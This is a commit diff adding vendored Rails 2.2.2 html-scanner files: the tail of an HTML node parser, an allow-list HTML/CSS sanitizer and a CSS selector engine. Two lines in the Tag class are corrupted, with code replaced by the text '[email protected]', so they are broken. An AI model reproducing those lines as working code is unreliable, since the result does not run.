+          scanner = StringScanner.new(content)
+
+          unless scanner.skip(/</)
+            if strict
+              raise "expected <"
+            else
+              return Text.new(parent, line, pos, content)
+            end
+          end
+
+          if scanner.skip(/!\[CDATA\[/)
+            unless scanner.skip_until(/\]\]>/)
+              if strict
+                raise "expected ]]> (got #{scanner.rest.inspect} for #{content})"
+              else
+                scanner.skip_until(/\Z/)
+              end
+            end
+
+            return CDATA.new(parent, line, pos, scanner.pre_match.gsub(/<!\[CDATA\[/, ''))
+          end
+          
+          closing = ( scanner.scan(/\//) ? :close : nil )
+          return Text.new(parent, line, pos, content) unless name = scanner.scan(/[\w:-]+/)
+          name.downcase!
+  
+          unless closing
+            scanner.skip(/\s*/)
+            attributes = {}
+            while attr = scanner.scan(/[-\w:]+/)
+              value = true
+              if scanner.scan(/\s*=\s*/)
+                if delim = scanner.scan(/['"]/)
+                  value = ""
+                  while text = scanner.scan(/[^#{delim}\\]+|./)
+                    case text
+                      when "\\" then
+                        value << text
+                        value << scanner.getch
+                      when delim
+                        break
+                      else value << text
+                    end
+                  end
+                else
+                  value = scanner.scan(/[^\s>\/]+/)
+                end
+              end
+              attributes[attr.downcase] = value
+              scanner.skip(/\s*/)
+            end
+    
+            closing = ( scanner.scan(/\//) ? :self : nil )
+          end
+          
+          unless scanner.scan(/\s*>/)
+            if strict
+              raise "expected > (got #{scanner.rest.inspect} for #{content}, #{attributes.inspect})" 
+            else
+              # throw away all text until we find what we're looking for
+              scanner.skip_until(/>/) or scanner.terminate
+            end
+          end
+
+          Tag.new(parent, line, pos, name, attributes, closing)
+        end
+      end
+    end
+  end
+
+  # A node that represents text, rather than markup.
+  class Text < Node #:nodoc:
+    
+    attr_reader :content
+    
+    # Creates a new text node as a child of the given parent, with the given
+    # content.
+    def initialize(parent, line, pos, content)
+      super(parent, line, pos)
+      @content = content
+    end
+
+    # Returns the content of this node.
+    def to_s
+      @content
+    end
+
+    # Returns +self+ if this node meets the given conditions. Text nodes support
+    # conditions of the following kinds:
+    #
+    # * if +conditions+ is a string, it must be a substring of the node's
+    #   content
+    # * if +conditions+ is a regular expression, it must match the node's
+    #   content
+    # * if +conditions+ is a hash, it must contain a <tt>:content</tt> key that
+    #   is either a string or a regexp, and which is interpreted as described
+    #   above.
+    def find(conditions)
+      match(conditions) && self
+    end
+    
+    # Returns non-+nil+ if this node meets the given conditions, or +nil+
+    # otherwise. See the discussion of #find for the valid conditions.
+    def match(conditions)
+      case conditions
+        when String
+          @content == conditions
+        when Regexp
+          @content =~ conditions
+        when Hash
+          conditions = validate_conditions(conditions)
+
+          # Text nodes only have :content, :parent, :ancestor
+          unless (conditions.keys - [:content, :parent, :ancestor]).empty?
+            return false
+          end
+
+          match(conditions[:content])
+        else
+          nil
+      end
+    end
+
+    def ==(node)
+      return false unless super
+      content == node.content
+    end
+  end
+  
+  # A CDATA node is simply a text node with a specialized way of displaying
+  # itself.
+  class CDATA < Text #:nodoc:
+    def to_s
+      "<![CDATA[#{super}]]>"
+    end
+  end
+
+  # A Tag is any node that represents markup. It may be an opening tag, a
+  # closing tag, or a self-closing tag. It has a name, and may have a hash of
+  # attributes.
+  class Tag < Node #:nodoc:
+    
+    # Either +nil+, <tt>:close</tt>, or <tt>:self</tt>
+    attr_reader :closing
+    
+    # Either +nil+, or a hash of attributes for this node.
+    attr_reader :attributes
+
+    # The name of this tag.
+    attr_reader :name
+        
+    # Create a new node as a child of the given parent, using the given content
+    # to describe the node. It will be parsed and the node name, attributes and
+    # closing status extracted.
+    def initialize(parent, line, pos, name, attributes, closing)
+      super(parent, line, pos)
+      @name = name
+      @attributes = attributes
+      @closing = closing
+    end
+
+    # A convenience for obtaining an attribute of the node. Returns +nil+ if
+    # the node has no attributes.
+    def [](attr)
+      @attributes ? @attributes[attr] : nil
+    end
+
+    # Returns non-+nil+ if this tag can contain child nodes.
+    def childless?(xml = false)
+      return false if xml && @closing.nil?
+      [email protected]? ||
+        @name =~ /^(img|br|hr|link|meta|area|base|basefont|
+                    col|frame|input|isindex|param)$/ox
+    end
+
+    # Returns a textual representation of the node
+    def to_s
+      if @closing == :close
+        "</#{@name}>"
+      else
+        s = "<#{@name}"
+        @attributes.each do |k,v|
+          s << " #{k}"
+          s << "=\"#{v}\"" if String === v
+        end
+        s << " /" if @closing == :self
+        s << ">"
+        @children.each { |child| s << child.to_s }
+        s << "</#{@name}>" if @closing != :self && [email protected]?
+        s
+      end
+    end
+
+    # If either the node or any of its children meet the given conditions, the
+    # matching node is returned. Otherwise, +nil+ is returned. (See the
+    # description of the valid conditions in the +match+ method.)
+    def find(conditions)
+      match(conditions) && self || super
+    end
+
+    # Returns +true+, indicating that this node represents an HTML tag.
+    def tag?
+      true
+    end
+    
+    # Returns +true+ if the node meets any of the given conditions. The
+    # +conditions+ parameter must be a hash of any of the following keys
+    # (all are optional):
+    #
+    # * <tt>:tag</tt>: the node name must match the corresponding value
+    # * <tt>:attributes</tt>: a hash. The node's values must match the
+    #   corresponding values in the hash.
+    # * <tt>:parent</tt>: a hash. The node's parent must match the
+    #   corresponding hash.
+    # * <tt>:child</tt>: a hash. At least one of the node's immediate children
+    #   must meet the criteria described by the hash.
+    # * <tt>:ancestor</tt>: a hash. At least one of the node's ancestors must
+    #   meet the criteria described by the hash.
+    # * <tt>:descendant</tt>: a hash. At least one of the node's descendants
+    #   must meet the criteria described by the hash.
+    # * <tt>:sibling</tt>: a hash. At least one of the node's siblings must
+    #   meet the criteria described by the hash.
+    # * <tt>:after</tt>: a hash. The node must be after any sibling meeting
+    #   the criteria described by the hash, and at least one sibling must match.
+    # * <tt>:before</tt>: a hash. The node must be before any sibling meeting
+    #   the criteria described by the hash, and at least one sibling must match.
+    # * <tt>:children</tt>: a hash, for counting children of a node. Accepts the
+    #   keys:
+    # ** <tt>:count</tt>: either a number or a range which must equal (or
+    #    include) the number of children that match.
+    # ** <tt>:less_than</tt>: the number of matching children must be less than
+    #    this number.
+    # ** <tt>:greater_than</tt>: the number of matching children must be
+    #    greater than this number.
+    # ** <tt>:only</tt>: another hash consisting of the keys to use
+    #    to match on the children, and only matching children will be
+    #    counted.
+    #
+    # Conditions are matched using the following algorithm:
+    #
+    # * if the condition is a string, it must be a substring of the value.
+    # * if the condition is a regexp, it must match the value.
+    # * if the condition is a number, the value must match number.to_s.
+    # * if the condition is +true+, the value must not be +nil+.
+    # * if the condition is +false+ or +nil+, the value must be +nil+.
+    #
+    # Usage:
+    #
+    #   # test if the node is a "span" tag
+    #   node.match :tag => "span"
+    #
+    #   # test if the node's parent is a "div"
+    #   node.match :parent => { :tag => "div" }
+    #
+    #   # test if any of the node's ancestors are "table" tags
+    #   node.match :ancestor => { :tag => "table" }
+    #
+    #   # test if any of the node's immediate children are "em" tags
+    #   node.match :child => { :tag => "em" }
+    #
+    #   # test if any of the node's descendants are "strong" tags
+    #   node.match :descendant => { :tag => "strong" }
+    #
+    #   # test if the node has between 2 and 4 span tags as immediate children
+    #   node.match :children => { :count => 2..4, :only => { :tag => "span" } } 
+    #
+    #   # get funky: test to see if the node is a "div", has a "ul" ancestor
+    #   # and an "li" parent (with "class" = "enum"), and whether or not it has
+    #   # a "span" descendant that contains # text matching /hello world/:
+    #   node.match :tag => "div",
+    #              :ancestor => { :tag => "ul" },
+    #              :parent => { :tag => "li",
+    #                           :attributes => { :class => "enum" } },
+    #              :descendant => { :tag => "span",
+    #                               :child => /hello world/ }
+    def match(conditions)
+      conditions = validate_conditions(conditions)
+      # check content of child nodes
+      if conditions[:content]
+        if children.empty?
+          return false unless match_condition("", conditions[:content])
+        else
+          return false unless children.find { |child| child.match(conditions[:content]) }
+        end
+      end
+
+      # test the name
+      return false unless match_condition(@name, conditions[:tag]) if conditions[:tag]
+
+      # test attributes
+      (conditions[:attributes] || {}).each do |key, value|
+        return false unless match_condition(self[key], value)
+      end
+
+      # test parent
+      return false unless parent.match(conditions[:parent]) if conditions[:parent]
+
+      # test children
+      return false unless children.find { |child| child.match(conditions[:child]) } if conditions[:child]
+   
+      # test ancestors
+      if conditions[:ancestor]
+        return false unless catch :found do
+          p = self
+          throw :found, true if p.match(conditions[:ancestor]) while p = p.parent
+        end
+      end
+
+      # test descendants
+      if conditions[:descendant]
+        return false unless children.find do |child|
+          # test the child
+          child.match(conditions[:descendant]) ||
+          # test the child's descendants
+          child.match(:descendant => conditions[:descendant])
+        end
+      end
+      
+      # count children
+      if opts = conditions[:children]
+        matches = children.select do |c|
+          (c.kind_of?(HTML::Tag) and (c.closing == :self or ! c.childless?))
+        end
+        
+        matches = matches.select { |c| c.match(opts[:only]) } if opts[:only]
+        opts.each do |key, value|
+          next if key == :only
+          case key
+            when :count
+              if Integer === value
+                return false if matches.length != value
+              else
+                return false unless value.include?(matches.length)
+              end
+            when :less_than
+              return false unless matches.length < value
+            when :greater_than
+              return false unless matches.length > value
+            else raise "unknown count condition #{key}"
+          end
+        end
+      end
+
+      # test siblings
+      if conditions[:sibling] || conditions[:before] || conditions[:after]
+        siblings = parent ? parent.children : []
+        self_index = siblings.index(self)
+
+        if conditions[:sibling]
+          return false unless siblings.detect do |s| 
+            s != self && s.match(conditions[:sibling])
+          end
+        end
+
+        if conditions[:before]
+          return false unless siblings[self_index+1..-1].detect do |s| 
+            s != self && s.match(conditions[:before])
+          end
+        end
+
+        if conditions[:after]
+          return false unless siblings[0,self_index].detect do |s| 
+            s != self && s.match(conditions[:after])
+          end
+        end
+      end
+  
+      true
+    end
+
+    def ==(node)
+      return false unless super
+      return false unless closing == node.closing && self.name == node.name
+      attributes == node.attributes
+    end
+    
+    private
+      # Match the given value to the given condition.
+      def match_condition(value, condition)
+        case condition
+          when String
+            value && value == condition
+          when Regexp
+            value && value.match(condition)
+          when Numeric
+            value == condition.to_s
+          when true
+            !value.nil?
+          when false, nil
+            value.nil?
+          else
+            false
+        end
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/vendor/html-scanner/html/sanitizer.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/vendor/html-scanner/html/sanitizer.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/vendor/html-scanner/html/sanitizer.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,173 @@
+module HTML
+  class Sanitizer
+    def sanitize(text, options = {})
+      return text unless sanitizeable?(text)
+      tokenize(text, options).join
+    end
+    
+    def sanitizeable?(text)
+      !(text.nil? || text.empty? || !text.index("<"))
+    end
+    
+  protected
+    def tokenize(text, options)
+      tokenizer = HTML::Tokenizer.new(text)
+      result = []
+      while token = tokenizer.next
+        node = Node.parse(nil, 0, 0, token, false)
+        process_node node, result, options
+      end
+      result
+    end
+    
+    def process_node(node, result, options)
+      result << node.to_s
+    end
+  end
+  
+  class FullSanitizer < Sanitizer
+    def sanitize(text, options = {})
+      result = super
+      # strip any comments, and if they have a newline at the end (ie. line with
+      # only a comment) strip that too
+      result.gsub!(/<!--(.*?)-->[\n]?/m, "") if result
+      # Recurse - handle all dirty nested tags
+      result == text ? result : sanitize(result, options)
+    end
+    
+    def process_node(node, result, options)
+      result << node.to_s if node.class == HTML::Text
+    end
+  end
+  
+  class LinkSanitizer < FullSanitizer
+    cattr_accessor :included_tags, :instance_writer => false
+    self.included_tags = Set.new(%w(a href))
+
+    def sanitizeable?(text)
+      !(text.nil? || text.empty? || !((text.index("<a") || text.index("<href")) && text.index(">")))
+    end
+    
+  protected
+    def process_node(node, result, options)
+      result << node.to_s unless node.is_a?(HTML::Tag) && included_tags.include?(node.name) 
+    end
+  end
+  
+  class WhiteListSanitizer < Sanitizer
+    [:protocol_separator, :uri_attributes, :allowed_attributes, :allowed_tags, :allowed_protocols, :bad_tags,
+     :allowed_css_properties, :allowed_css_keywords, :shorthand_css_properties].each do |attr|
+      class_inheritable_accessor attr, :instance_writer => false
+    end
+
+    # A regular expression of the valid characters used to separate protocols like
+    # the ':' in 'http://foo.com'
+    self.protocol_separator     = /:|(&#0*58)|(&#x70)|(%|&#37;)3A/
+    
+    # Specifies a Set of HTML attributes that can have URIs.
+    self.uri_attributes         = Set.new(%w(href src cite action longdesc xlink:href lowsrc))
+
+    # Specifies a Set of 'bad' tags that the #sanitize helper will remove completely, as opposed
+    # to just escaping harmless tags like &lt;font&gt;
+    self.bad_tags               = Set.new(%w(script))
+    
+    # Specifies the default Set of tags that the #sanitize helper will allow unscathed.
+    self.allowed_tags           = Set.new(%w(strong em b i p code pre tt samp kbd var sub 
+      sup dfn cite big small address hr br div span h1 h2 h3 h4 h5 h6 ul ol li dt dd abbr 
+      acronym a img blockquote del ins))
+
+    # Specifies the default Set of html attributes that the #sanitize helper will leave 
+    # in the allowed tag.
+    self.allowed_attributes     = Set.new(%w(href src width height alt cite datetime title class name xml:lang abbr))
+    
+    # Specifies the default Set of acceptable css properties that #sanitize and #sanitize_css will accept.
+    self.allowed_protocols      = Set.new(%w(ed2k ftp http https irc mailto news gopher nntp telnet webcal xmpp callto 
+      feed svn urn aim rsync tag ssh sftp rtsp afs))
+    
+    # Specifies the default Set of acceptable css keywords that #sanitize and #sanitize_css will accept.
+    self.allowed_css_properties = Set.new(%w(azimuth background-color border-bottom-color border-collapse 
+      border-color border-left-color border-right-color border-top-color clear color cursor direction display 
+      elevation float font font-family font-size font-style font-variant font-weight height letter-spacing line-height
+      overflow pause pause-after pause-before pitch pitch-range richness speak speak-header speak-numeral speak-punctuation
+      speech-rate stress text-align text-decoration text-indent unicode-bidi vertical-align voice-family volume white-space
+      width))
+  
+    # Specifies the default Set of acceptable css keywords that #sanitize and #sanitize_css will accept.
+    self.allowed_css_keywords   = Set.new(%w(auto aqua black block blue bold both bottom brown center
+      collapse dashed dotted fuchsia gray green !important italic left lime maroon medium none navy normal
+      nowrap olive pointer purple red right solid silver teal top transparent underline white yellow))
+
+    # Specifies the default Set of allowed shorthand css properties for the #sanitize and #sanitize_css helpers.
+    self.shorthand_css_properties = Set.new(%w(background border margin padding))
+
+    # Sanitizes a block of css code.  Used by #sanitize when it comes across a style attribute
+    def sanitize_css(style)
+      # disallow urls
+      style = style.to_s.gsub(/url\s*\(\s*[^\s)]+?\s*\)\s*/, ' ')
+
+      # gauntlet
+      if style !~ /^([:,;#%.\sa-zA-Z0-9!]|\w-\w|\'[\s\w]+\'|\"[\s\w]+\"|\([\d,\s]+\))*$/ ||
+          style !~ /^(\s*[-\w]+\s*:\s*[^:;]*(;|$)\s*)*$/
+        return ''
+      end
+
+      clean = []
+      style.scan(/([-\w]+)\s*:\s*([^:;]*)/) do |prop,val|
+        if allowed_css_properties.include?(prop.downcase)
+          clean <<  prop + ': ' + val + ';'
+        elsif shorthand_css_properties.include?(prop.split('-')[0].downcase) 
+          unless val.split().any? do |keyword|
+            !allowed_css_keywords.include?(keyword) && 
+              keyword !~ /^(#[0-9a-f]+|rgb\(\d+%?,\d*%?,?\d*%?\)?|\d{0,2}\.?\d{0,2}(cm|em|ex|in|mm|pc|pt|px|%|,|\))?)$/
+          end
+            clean << prop + ': ' + val + ';'
+          end
+        end
+      end
+      clean.join(' ')
+    end
+
+  protected
+    def tokenize(text, options)
+      options[:parent] = []
+      options[:attributes] ||= allowed_attributes
+      options[:tags]       ||= allowed_tags
+      super
+    end
+
+    def process_node(node, result, options)
+      result << case node
+        when HTML::Tag
+          if node.closing == :close
+            options[:parent].shift
+          else
+            options[:parent].unshift node.name
+          end
+          
+          process_attributes_for node, options
+
+          options[:tags].include?(node.name) ? node : nil
+        else
+          bad_tags.include?(options[:parent].first) ? nil : node.to_s.gsub(/</, "&lt;")
+      end
+    end
+    
+    def process_attributes_for(node, options)
+      return unless node.attributes
+      node.attributes.keys.each do |attr_name|
+        value = node.attributes[attr_name].to_s
+
+        if !options[:attributes].include?(attr_name) || contains_bad_protocols?(attr_name, value)
+          node.attributes.delete(attr_name)
+        else
+          node.attributes[attr_name] = attr_name == 'style' ? sanitize_css(value) : CGI::escapeHTML(CGI::unescapeHTML(value))
+        end
+      end
+    end
+
+    def contains_bad_protocols?(attr_name, value)
+      uri_attributes.include?(attr_name) && 
+      (value =~ /(^[^\/:]*):|(&#0*58)|(&#x70)|(%|&#37;)3A/ && !allowed_protocols.include?(value.split(protocol_separator).first))
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/vendor/html-scanner/html/selector.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/vendor/html-scanner/html/selector.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/vendor/html-scanner/html/selector.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,828 @@
+#--
+# Copyright (c) 2006 Assaf Arkin (http://labnotes.org)
+# Under MIT and/or CC By license.
+#++
+
+module HTML
+
+  # Selects HTML elements using CSS 2 selectors.
+  #
+  # The +Selector+ class uses CSS selector expressions to match and select
+  # HTML elements.
+  #
+  # For example:
+  #   selector = HTML::Selector.new "form.login[action=/login]"
+  # creates a new selector that matches any +form+ element with the class
+  # +login+ and an attribute +action+ with the value <tt>/login</tt>.
+  #
+  # === Matching Elements
+  #
+  # Use the #match method to determine if an element matches the selector.
+  #
+  # For simple selectors, the method returns an array with that element,
+  # or +nil+ if the element does not match. For complex selectors (see below)
+  # the method returns an array with all matched elements, of +nil+ if no
+  # match found.
+  #
+  # For example:
+  #   if selector.match(element)
+  #     puts "Element is a login form"
+  #   end
+  #
+  # === Selecting Elements
+  #
+  # Use the #select method to select all matching elements starting with
+  # one element and going through all children in depth-first order.
+  #
+  # This method returns an array of all matching elements, an empty array
+  # if no match is found
+  #
+  # For example:
+  #   selector = HTML::Selector.new "input[type=text]"
+  #   matches = selector.select(element)
+  #   matches.each do |match|
+  #     puts "Found text field with name #{match.attributes['name']}"
+  #   end
+  #
+  # === Expressions
+  #
+  # Selectors can match elements using any of the following criteria:
+  # * <tt>name</tt> -- Match an element based on its name (tag name).
+  #   For example, <tt>p</tt> to match a paragraph. You can use <tt>*</tt>
+  #   to match any element.
+  # * <tt>#</tt><tt>id</tt> -- Match an element based on its identifier (the
+  #   <tt>id</tt> attribute). For example, <tt>#</tt><tt>page</tt>.
+  # * <tt>.class</tt> -- Match an element based on its class name, all
+  #   class names if more than one specified.
+  # * <tt>[attr]</tt> -- Match an element that has the specified attribute.
+  # * <tt>[attr=value]</tt> -- Match an element that has the specified
+  #   attribute and value. (More operators are supported see below)
+  # * <tt>:pseudo-class</tt> -- Match an element based on a pseudo class,
+  #   such as <tt>:nth-child</tt> and <tt>:empty</tt>.
+  # * <tt>:not(expr)</tt> -- Match an element that does not match the
+  #   negation expression.
+  #
+  # When using a combination of the above, the element name comes first
+  # followed by identifier, class names, attributes, pseudo classes and
+  # negation in any order. Do not separate these parts with spaces!
+  # Space separation is used for descendant selectors.
+  #
+  # For example:
+  #   selector = HTML::Selector.new "form.login[action=/login]"
+  # The matched element must be of type +form+ and have the class +login+.
+  # It may have other classes, but the class +login+ is required to match.
+  # It must also have an attribute called +action+ with the value
+  # <tt>/login</tt>.
+  #
+  # This selector will match the following element:
+  #   <form class="login form" method="post" action="/login">
+  # but will not match the element:
+  #   <form method="post" action="/logout">
+  #
+  # === Attribute Values
+  #
+  # Several operators are supported for matching attributes:
+  # * <tt>name</tt> -- The element must have an attribute with that name.
+  # * <tt>name=value</tt> -- The element must have an attribute with that
+  #   name and value.
+  # * <tt>name^=value</tt> -- The attribute value must start with the
+  #   specified value.
+  # * <tt>name$=value</tt> -- The attribute value must end with the
+  #   specified value.
+  # * <tt>name*=value</tt> -- The attribute value must contain the
+  #   specified value.
+  # * <tt>name~=word</tt> -- The attribute value must contain the specified
+  #   word (space separated).
+  # * <tt>name|=word</tt> -- The attribute value must start with specified
+  #   word.
+  #
+  # For example, the following two selectors match the same element:
+  #   #my_id
+  #   [id=my_id]
+  # and so do the following two selectors:
+  #   .my_class
+  #   [class~=my_class]
+  #
+  # === Alternatives, siblings, children
+  #
+  # Complex selectors use a combination of expressions to match elements:
+  # * <tt>expr1 expr2</tt> -- Match any element against the second expression
+  #   if it has some parent element that matches the first expression.
+  # * <tt>expr1 > expr2</tt> -- Match any element against the second expression
+  #   if it is the child of an element that matches the first expression.
+  # * <tt>expr1 + expr2</tt> -- Match any element against the second expression
+  #   if it immediately follows an element that matches the first expression.
+  # * <tt>expr1 ~ expr2</tt> -- Match any element against the second expression
+  #   that comes after an element that matches the first expression.
+  # * <tt>expr1, expr2</tt> -- Match any element against the first expression,
+  #   or against the second expression.
+  #
+  # Since children and sibling selectors may match more than one element given
+  # the first element, the #match method may return more than one match.
+  #
+  # === Pseudo classes
+  #
+  # Pseudo classes were introduced in CSS 3. They are most often used to select
+  # elements in a given position:
+  # * <tt>:root</tt> -- Match the element only if it is the root element
+  #   (no parent element).
+  # * <tt>:empty</tt> -- Match the element only if it has no child elements,
+  #   and no text content.
+  # * <tt>:only-child</tt> -- Match the element if it is the only child (element)
+  #   of its parent element.
+  # * <tt>:only-of-type</tt> -- Match the element if it is the only child (element)
+  #   of its parent element and its type.
+  # * <tt>:first-child</tt> -- Match the element if it is the first child (element)
+  #   of its parent element.
+  # * <tt>:first-of-type</tt> -- Match the element if it is the first child (element)
+  #   of its parent element of its type.
+  # * <tt>:last-child</tt> -- Match the element if it is the last child (element)
+  #   of its parent element.
+  # * <tt>:last-of-type</tt> -- Match the element if it is the last child (element)
+  #   of its parent element of its type.
+  # * <tt>:nth-child(b)</tt> -- Match the element if it is the b-th child (element)
+  #   of its parent element. The value <tt>b</tt> specifies its index, starting with 1.
+  # * <tt>:nth-child(an+b)</tt> -- Match the element if it is the b-th child (element)
+  #   in each group of <tt>a</tt> child elements of its parent element.
+  # * <tt>:nth-child(-an+b)</tt> -- Match the element if it is the first child (element)
+  #   in each group of <tt>a</tt> child elements, up to the first <tt>b</tt> child
+  #   elements of its parent element.
+  # * <tt>:nth-child(odd)</tt> -- Match element in the odd position (i.e. first, third).
+  #   Same as <tt>:nth-child(2n+1)</tt>.
+  # * <tt>:nth-child(even)</tt> -- Match element in the even position (i.e. second,
+  #   fourth). Same as <tt>:nth-child(2n+2)</tt>.
+  # * <tt>:nth-of-type(..)</tt> -- As above, but only counts elements of its type.
+  # * <tt>:nth-last-child(..)</tt> -- As above, but counts from the last child.
+  # * <tt>:nth-last-of-type(..)</tt> -- As above, but counts from the last child and
+  #   only elements of its type.
+  # * <tt>:not(selector)</tt> -- Match the element only if the element does not
+  #   match the simple selector.
+  #
+  # As you can see, <tt>:nth-child<tt> pseudo class and its variant can get quite
+  # tricky and the CSS specification doesn't do a much better job explaining it.
+  # But after reading the examples and trying a few combinations, it's easy to
+  # figure out.
+  #
+  # For example:
+  #   table tr:nth-child(odd)
+  # Selects every second row in the table starting with the first one.
+  #
+  #   div p:nth-child(4)
+  # Selects the fourth paragraph in the +div+, but not if the +div+ contains
+  # other elements, since those are also counted.
+  #
+  #   div p:nth-of-type(4)
+  # Selects the fourth paragraph in the +div+, counting only paragraphs, and
+  # ignoring all other elements.
+  #
+  #   div p:nth-of-type(-n+4)
+  # Selects the first four paragraphs, ignoring all others.
+  #
+  # And you can always select an element that matches one set of rules but
+  # not another using <tt>:not</tt>. For example:
+  #   p:not(.post)
+  # Matches all paragraphs that do not have the class <tt>.post</tt>.
+  #   
+  # === Substitution Values
+  #
+  # You can use substitution with identifiers, class names and element values.
+  # A substitution takes the form of a question mark (<tt>?</tt>) and uses the
+  # next value in the argument list following the CSS expression.
+  #
+  # The substitution value may be a string or a regular expression. All other
+  # values are converted to strings.
+  #
+  # For example:
+  #   selector = HTML::Selector.new "#?", /^\d+$/
+  # matches any element whose identifier consists of one or more digits.
+  #
+  # See http://www.w3.org/TR/css3-selectors/
+  class Selector
+
+
+    # An invalid selector.
+    class InvalidSelectorError < StandardError #:nodoc:
+    end
+
+
+    class << self
+
+      # :call-seq:
+      #   Selector.for_class(cls) => selector
+      #
+      # Creates a new selector for the given class name.
+      def for_class(cls)
+        self.new([".?", cls])
+      end
+
+
+      # :call-seq:
+      #   Selector.for_id(id) => selector
+      #
+      # Creates a new selector for the given id.
+      def for_id(id)
+        self.new(["#?", id])
+      end
+
+    end
+
+
+    # :call-seq:
+    #   Selector.new(string, [values ...]) => selector
+    #
+    # Creates a new selector from a CSS 2 selector expression.
+    #
+    # The first argument is the selector expression. All other arguments
+    # are used for value substitution.
+    #
+    # Throws InvalidSelectorError is the selector expression is invalid.
+    def initialize(selector, *values)
+      raise ArgumentError, "CSS expression cannot be empty" if selector.empty?
+      @source = ""
+      values = values[0] if values.size == 1 && values[0].is_a?(Array)
+
+      # We need a copy to determine if we failed to parse, and also
+      # preserve the original pass by-ref statement.
+      statement = selector.strip.dup
+
+      # Create a simple selector, along with negation.
+      simple_selector(statement, values).each { |name, value| instance_variable_set("@#{name}", value) }
+
+      @alternates = []
+      @depends = nil
+
+      # Alternative selector.
+      if statement.sub!(/^\s*,\s*/, "")
+        second = Selector.new(statement, values)
+        @alternates << second
+        # If there are alternate selectors, we group them in the top selector.
+        if alternates = second.instance_variable_get(:@alternates)
+          second.instance_variable_set(:@alternates, [])
+          @alternates.concat alternates
+        end
+        @source << " , " << second.to_s
+      # Sibling selector: create a dependency into second selector that will
+      # match element immediately following this one.
+      elsif statement.sub!(/^\s*\+\s*/, "")
+        second = next_selector(statement, values)
+        @depends = lambda do |element, first|
+          if element = next_element(element)
+            second.match(element, first)
+          end
+        end
+        @source << " + " << second.to_s
+      # Adjacent selector: create a dependency into second selector that will
+      # match all elements following this one.
+      elsif statement.sub!(/^\s*~\s*/, "")
+        second = next_selector(statement, values)
+        @depends = lambda do |element, first|
+          matches = []
+          while element = next_element(element)
+            if subset = second.match(element, first)
+              if first && !subset.empty?
+                matches << subset.first
+                break
+              else
+                matches.concat subset
+              end
+            end
+          end
+          matches.empty? ? nil : matches
+        end
+        @source << " ~ " << second.to_s
+      # Child selector: create a dependency into second selector that will
+      # match a child element of this one.
+      elsif statement.sub!(/^\s*>\s*/, "")
+        second = next_selector(statement, values)
+        @depends = lambda do |element, first|
+          matches = []
+          element.children.each do |child|
+            if child.tag? && subset = second.match(child, first)
+              if first && !subset.empty?
+                matches << subset.first
+                break
+              else
+                matches.concat subset
+              end
+            end
+          end
+          matches.empty? ? nil : matches
+        end
+        @source << " > " << second.to_s
+      # Descendant selector: create a dependency into second selector that
+      # will match all descendant elements of this one. Note,
+      elsif statement =~ /^\s+\S+/ && statement != selector
+        second = next_selector(statement, values)
+        @depends = lambda do |element, first|
+          matches = []
+          stack = element.children.reverse
+          while node = stack.pop
+            next unless node.tag?
+            if subset = second.match(node, first)
+              if first && !subset.empty?
+                matches << subset.first
+                break
+              else
+                matches.concat subset
+              end
+            elsif children = node.children
+              stack.concat children.reverse
+            end
+          end
+          matches.empty? ? nil : matches
+        end
+        @source << " " << second.to_s
+      else
+        # The last selector is where we check that we parsed
+        # all the parts.
+        unless statement.empty? || statement.strip.empty?
+          raise ArgumentError, "Invalid selector: #{statement}"
+        end
+      end
+    end
+
+
+    # :call-seq:
+    #   match(element, first?) => array or nil
+    #
+    # Matches an element against the selector.
+    #
+    # For a simple selector this method returns an array with the
+    # element if the element matches, nil otherwise.
+    #
+    # For a complex selector (sibling and descendant) this method
+    # returns an array with all matching elements, nil if no match is
+    # found.
+    #
+    # Use +first_only=true+ if you are only interested in the first element.
+    #
+    # For example:
+    #   if selector.match(element)
+    #     puts "Element is a login form"
+    #   end
+    def match(element, first_only = false)
+      # Match element if no element name or element name same as element name
+      if matched = (!@tag_name || @tag_name == element.name)
+        # No match if one of the attribute matches failed
+        for attr in @attributes
+          if element.attributes[attr[0]] !~ attr[1]
+            matched = false
+            break
+          end
+        end
+      end
+
+      # Pseudo class matches (nth-child, empty, etc).
+      if matched
+        for pseudo in @pseudo
+          unless pseudo.call(element)
+            matched = false
+            break
+          end
+        end
+      end
+
+      # Negation. Same rules as above, but we fail if a match is made.
+      if matched && @negation
+        for negation in @negation
+          if negation[:tag_name] == element.name
+            matched = false
+          else
+            for attr in negation[:attributes]
+              if element.attributes[attr[0]] =~ attr[1]
+                matched = false
+                break
+              end
+            end
+          end
+          if matched
+            for pseudo in negation[:pseudo]
+              if pseudo.call(element)
+                matched = false
+                break
+              end
+            end
+          end
+          break unless matched
+        end
+      end
+
+      # If element matched but depends on another element (child,
+      # sibling, etc), apply the dependent matches instead.
+      if matched && @depends
+        matches = @depends.call(element, first_only)
+      else
+        matches = matched ? [element] : nil
+      end
+
+      # If this selector is part of the group, try all the alternative
+      # selectors (unless first_only).
+      if !first_only || !matches
+        @alternates.each do |alternate|
+          break if matches && first_only
+          if subset = alternate.match(element, first_only)
+            if matches
+              matches.concat subset
+            else
+              matches = subset
+            end
+          end
+        end
+      end
+
+      matches
+    end
+
+
+    # :call-seq:
+    #   select(root) => array
+    #
+    # Selects and returns an array with all matching elements, beginning
+    # with one node and traversing through all children depth-first.
+    # Returns an empty array if no match is found.
+    #
+    # The root node may be any element in the document, or the document
+    # itself.
+    #
+    # For example:
+    #   selector = HTML::Selector.new "input[type=text]"
+    #   matches = selector.select(element)
+    #   matches.each do |match|
+    #     puts "Found text field with name #{match.attributes['name']}"
+    #   end
+    def select(root)
+      matches = []
+      stack = [root]
+      while node = stack.pop
+        if node.tag? && subset = match(node, false)
+          subset.each do |match|
+            matches << match unless matches.any? { |item| item.equal?(match) }
+          end
+        elsif children = node.children
+          stack.concat children.reverse
+        end
+      end
+      matches
+    end
